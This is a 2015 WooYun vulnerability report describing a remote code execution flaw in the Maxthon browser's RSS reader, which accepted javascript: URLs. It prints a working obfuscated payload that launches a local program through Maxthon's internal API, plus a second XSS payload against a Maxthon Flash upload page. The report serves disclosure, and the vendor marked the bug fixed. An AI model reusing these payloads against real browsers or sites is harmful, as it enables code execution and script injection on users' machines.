当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114083

漏洞标题:傲游浏览器远程代码执行(有条件)

相关厂商:傲游

漏洞作者: 梧桐雨

提交时间:2015-05-14 15:30

修复时间:2015-08-16 22:32

公开时间:2015-08-16 22:32

漏洞类型:远程代码执行

危害等级:高

自评Rank:12

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-16: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

http://wooyun.org/bugs/wooyun-2010-0112901 续,不过这个位置可以更隐蔽

详细说明:

http://wooyun.org/bugs/wooyun-2010-0112901
在这里例子给你们报告了之后,发现另外一处你们还没有修复,顺带给你们也提交,此处更隐蔽,不容易被发现。
问题出在:about:reader rss阅读器订阅的地方。依然是处理url的地方,允许注入javascript://协议的代码。
构造恶意代码:http://wutongyu.info/iff.xml
添加订阅之后:

url2.jpg


点击触发:

url3.jpg


将其url部分修改为:
javascript:eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,115,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,110,111,116,105,102,105,99,97,116,105,111,110,47,34,59,115,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,115,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,112,114,111,103,114,97,109,46,80,114,111,103,114,97,109,46,108,97,117,110,99,104,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,99,97,108,99,46,101,120,101,34,44,34,34,41,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))
弹出计算器:

calc.jpg


因为是同个页面,如下几个url都会存在这样的问题,不分开提交,你们一并修补吧:

calc2.jpg


因为此处不需要回显url,因此标题可以做的更吸引人去点击,危害不言而喻。

漏洞证明:

另外你们的:http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};// xss没修复啊,为什么在公开里面说完全修复了?http://wooyun.org/bugs/wooyun-2010-0113401 好好修复吧。

修复方案:

对传入进来的xml格式文件javascript://协议在about:blank打开。你们某个功能就是这么做的。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-18 22:30

厂商回复:

最新状态:

2015-05-18:与 wooyun-2010-0112901 相同. 在4.4.5.1800 中已处理.

2015-06-16:4.4.5.2000 已修复


漏洞评价:

评论

  1. 2015-05-14 15:32 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    希望官网能认真看细节,一并把前2个xss也修复了,不知怎么的今天复查已经修好的一个又出现了。

  2. 2015-05-14 15:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @梧桐雨 遨游是不是不会修啊。。

  3. 2015-05-14 17:32 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @梧桐雨 重复的case哈

  4. 2015-05-14 17:36 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @xsser 其实还有一处存在这样的缺陷,但是绕不过去

  5. 2015-05-15 14:38 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    好厉害的样子~

  6. 2015-05-17 12:54 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    代码执行。

  7. 2015-05-19 07:23 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @梧桐雨 求带刷RCE

  8. 2015-05-19 08:15 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @mramydnei m哥求不黑…